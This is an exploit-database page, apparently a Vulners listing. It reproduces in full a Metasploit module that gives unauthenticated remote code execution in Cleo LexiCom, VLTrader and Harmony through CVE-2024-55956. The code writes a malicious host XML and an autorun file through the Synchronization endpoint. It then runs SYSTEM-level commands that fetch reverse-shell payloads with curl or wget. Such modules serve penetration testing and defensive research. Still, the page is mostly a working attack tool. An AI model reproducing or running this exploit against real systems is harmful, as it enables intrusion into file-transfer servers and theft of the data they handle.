Lucene search
K

Cleo LexiCom / VLTrader / Harmony 5.8.0.23 Remote Code Execution Exploit

🗓️ 16 Jan 2025 00:00:00Reported by sfewer-r7Type 
zdt
 zdt
🔗 0day.today👁 239 Views

Cleo LexiCom, VLTrader, Harmony exploit for unauthenticated remote code execution vulnerability.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
          versions 5.8.0.23 and below.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          # MSF Exploit & Rapid7 Analysis
          'sfewer-r7',
          'remmons-r7'
        ],
        'References' => [
          ['CVE', '2024-55956'],
          ['URL', 'https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956'], # Vendor Advisory
          ['URL', 'https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis'], # Rapid7 Analysis
          ['URL', 'https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/'], # Rapid7 Blog
          ['URL', 'https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild'] # Huntress Blog
        ],
        'DisclosureDate' => '2024-12-09',
        'Platform' => %w[java win linux unix],
        'Arch' => [ARCH_JAVA, ARCH_CMD],
        'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows. On Linux it depends on how the product was installed.
        'Targets' => [
          [
            # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
            # java/meterpreter/reverse_tcp
            'Java', {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ],
          [
            # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
            # cmd/windows/http/x64/meterpreter/reverse_tcp
            # cmd/windows/http/x64/meterpreter_reverse_tcp
            'Windows Command', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'CURL',
                'FETCH_WRITABLE_DIR' => '%TEMP%'
              }
            }
          ],
          [
            'Linux Command', {
              'Platform' => %w[linux unix],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 5080,
          'SSL' => false,
          # The exploit relies on the target service processing a file written to an 'autorun' folder, which is processed
          # periodically. We bump up the WfsDelay to account for this, and give the exploit payload some extra time to trigger.
          'WfsDelay' => 10
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    return CheckCode::Unknown('Connection failed') unless res

    # We expect the server to respond with an HTTP Server header like "Cleo LexiCom/5.8.0.0 (Windows Server 2022)".
    # Note, the target product may be either LexiCom, VLTrader, or Harmony.
    if res.headers.key?('Server') && (res.headers['Server'] =~ %r{cleo\s+(?:lexicom|vltrader|harmony)/(\d+\.\d+\.\d+\.\d+)}i)

      if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('5.8.0.23')
        return CheckCode::Appears(res.headers['Server'])
      end

      return CheckCode::Safe(res.headers['Server'])
    end

    CheckCode::Unknown
  end

  def exploit
    jar_path = nil
    jar_file = nil
    command = nil

    case target['Platform']
    when 'java'
      jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"

      jar_file = payload.encoded_jar(random: true)

      # The product ships its own JRE, so we can use a relative path to run our Java JAR file.
      command = "jre/bin/java -jar \"#{jar_path}\""
    when 'win'
      command = "cmd.exe /c \"#{payload.encoded}\""
    when 'linux', 'unix'
      command = "/bin/sh -c \"#{payload.encoded}\""
    else
      fail_with(Failure::BadConfig, 'Unsupported target platform')
    end

    if command.include? ']]>'
      # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
      fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"')
    end

    host_guid = SecureRandom.uuid
    mailbox_guid = SecureRandom.uuid
    action_guid = SecureRandom.uuid

    # This is based on the XML file that Huntress published (https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild)
    host_xml = %(<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Host alias="#{host_guid}" application="" by="Administrator" class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10 00:00:00" enabled="True" enc="#{SecureRandom.uuid}" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="<copy>myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" standaloneaction="False" test="False" transport="" type="" uid="#{SecureRandom.uuid}" version="1">
  <Connecttype>0</Connecttype>
  <Inbox>inbox\</Inbox>
  <Index>0</Index>
  <Indexdate>-1</Indexdate>
  <Internal>0</Internal>
  <Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
  <Origin>Local Commands</Origin>
  <Outbox>outbox\</Outbox>
  <Port>0</Port>
  <Runninglocalrequired>True</Runninglocalrequired>
  <Secureportrequired>False</Secureportrequired>
  <Uidswpd>True</Uidswpd>
  <Advanced>ZipCompressionLevel=System Default</Advanced>
  <Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
  <Advanced>HighPriorityIncomingWeight=10</Advanced>
  <Advanced>PGPHashAlgorithm=System Default</Advanced>
  <Advanced>HighPriorityOutgoingWeight=10</Advanced>
  <Advanced>PGPCompressionAlgorithm=System Default</Advanced>
  <Advanced>OutboxSort=System Default</Advanced>
  <Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
  <Mailbox alias="#{mailbox_guid}" class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="#{SecureRandom.uuid}" version="1">
    <Action actiontype="Commands" alias="#{action_guid}" by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" uid="#{SecureRandom.uuid}" version="2">
      <Autostartup>False</Autostartup>
      <Commands><![CDATA[SYSTEM #{command}]]></Commands>
      <Filesin>0</Filesin>
      <Filesout>0</Filesout>
      <Ssl>False</Ssl>
    </Action>
  </Mailbox>
</Host>)

    zip_file = Rex::Zip::Archive.new

    zip_file.add_file('hosts/main.xml', host_xml)

    zip_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"

    arbitrary_file_write(zip_path, zip_file.pack)

    # The payload working directory will be the product install folder, e.g. "C:\LexiCom\", so we can pass relative
    # paths here for cleanup.
    register_files_for_cleanup(zip_path)

    # For Java payloads, we also need to write the payloads JAR file.
    if jar_file && jar_path
      arbitrary_file_write(jar_path, jar_file.pack)

      register_files_for_cleanup(jar_path)
    end

    # Install the new host via the -i switch.
    # Run the Mailbox action via the -r switch, which in turn will execute our payload.
    autorun_data = [
      "-i \"#{zip_path}\"",
      "-r \"<#{action_guid}>#{mailbox_guid}@#{host_guid}\""
    ].join("\r\n")

    arbitrary_file_write("autorun/#{Rex::Text.rand_text_alpha_lower(8)}", autorun_data)

    # Note, the autorun files will be deleted by the system after they are processed, so we do not need to register them for cleanup.
  end

  def arbitrary_file_write(path, data)
    boundary = Rex::Text.rand_text_alpha_lower(16)

    # We can trigger the file write via either of these two commands.
    multipart_vlsync_command = ['ReceivedReceipt', 'SentReceipt'].sample

    # These parameters can appear in any order, so we shuffle them.
    multipart_vlsync_params = [
      'service="AS2"',
      "msgId=#{Rex::Text.rand_text_alpha_lower(8)}",
      "path=\"#{path}\"",
      'receiptfolder=Unspecified'
    ].shuffle.join(';')

    content_data = "VLSync: #{multipart_vlsync_command};#{multipart_vlsync_params}\r\n"
    content_data << "#{boundary}\r\n"
    content_data << data

    # Note, the server does not process well-formed multipart form data, so we do not use Rex::MIME::Message.

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Synchronization'),
      'headers' => {
        'VLSync' => 'Multipart;l=0,Acknowledge'
      },
      'ctype' => 'application/form-data; boundary=' + boundary,
      'data' => content_data
    )

    fail_with(Failure::UnexpectedReply, 'Failed to write file.') unless res&.code == 200
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jan 2025 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.19.8
EPSS0.94011
239